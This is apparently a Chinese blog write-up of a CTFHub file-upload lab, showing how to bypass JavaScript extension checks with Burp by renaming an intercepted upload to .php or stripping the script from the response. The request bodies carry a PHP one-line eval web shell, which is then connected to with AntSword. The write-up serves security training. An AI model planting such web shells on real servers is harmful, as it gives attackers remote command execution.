CTFHUB——文件上传之前端验证

网页源码

<body>
    <h1>CTFHub 文件上传 - js前端验证</h1>
    <form action="" method="post" enctype="multipart/form-data" onsubmit="return checkfilesuffix()">
        <label for="file">Filename:</label>
        <input type="file" name="file" id="file" />
        <br />
        <input type="submit" name="submit" value="Submit" />
    </form>
<script>
function checkfilesuffix()
{
    var file=document.getElementsByName('file')[0]['value'];
    if(file==""||file==null)
    {
        alert("请添加上传文件");
        return false;
    }
    else
    {
        var whitelist=new Array(".jpg",".png",".gif");
        var file_suffix=file.substring(file.lastIndexOf("."));
        if(whitelist.indexOf(file_suffix) == -1)
        {
            alert("该文件不允许上传");
            return false;
        }
    }
}
</script>
</body>

发现它在上传文件时调用了一个函数,这个函数只允许上传三种图片格式的文件。

Burp改请求

这但是在前端验证,我们用burp抓包,先给它传一个2.jpg,先过前端验证,然后前端向后端请求的包会被burp抓到,这时候在请求包里包把文件名改成2.php就实现绕过前端验证并传马啦!

下面是原始请求包[节选]

-----------------------------27707769729801775931606292902
Content-Disposition: form-data; name="file"; filename="2.jpg"
Content-Type: image/jpeg

<?php @eval($_POST['wuuconix']); ?>
-----------------------------27707769729801775931606292902
Content-Disposition: form-data; name="submit"

Submit
-----------------------------27707769729801775931606292902--

我们只要把文件名改成以下即可。

-----------------------------27707769729801775931606292902
Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: image/jpeg

<?php @eval($_POST['wuuconix']); ?>
-----------------------------27707769729801775931606292902
Content-Disposition: form-data; name="submit"

Submit
-----------------------------27707769729801775931606292902--

成功上传并连接。

antsword连接

这也证明了一个事情,就是请求包里的Content-Type不改也行,只要后缀名是php,就能发挥它的职能,这个Content-Type应该只是传输过程中给服务器端的提示罢了,如果服务器端没有对该属性进行处理,那么它就是无效的。如果后台对这个Content-Type做了某种验证的话,我们就必须也得改了。
这是一种做法,既然验证代码在前端 ,可不可以直接把script标签删掉来绕过前端验证呢?

Burp代理响应,直接删除js

我试了一下,直接在源代码里把script标签删掉是掩耳盗铃,不能实现效果。但是如果利用Burp修改题目的Response,在相应里直接把script标签删掉就能够实现。

一般情况下Burp只是代理我们的请求,我还没有试过代理相应。

设置如下图。

Burp代理相应

然后刷新一下页面,Forward一下,让自己的请求先发出去,然后你就会看到服务器的相应了。

Burp实现代理相应

在这个相应里把script标签删掉。

这时渲染出来的页面就是真真切切没有script标签的了。

源代码

能够直接上传php木马了。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值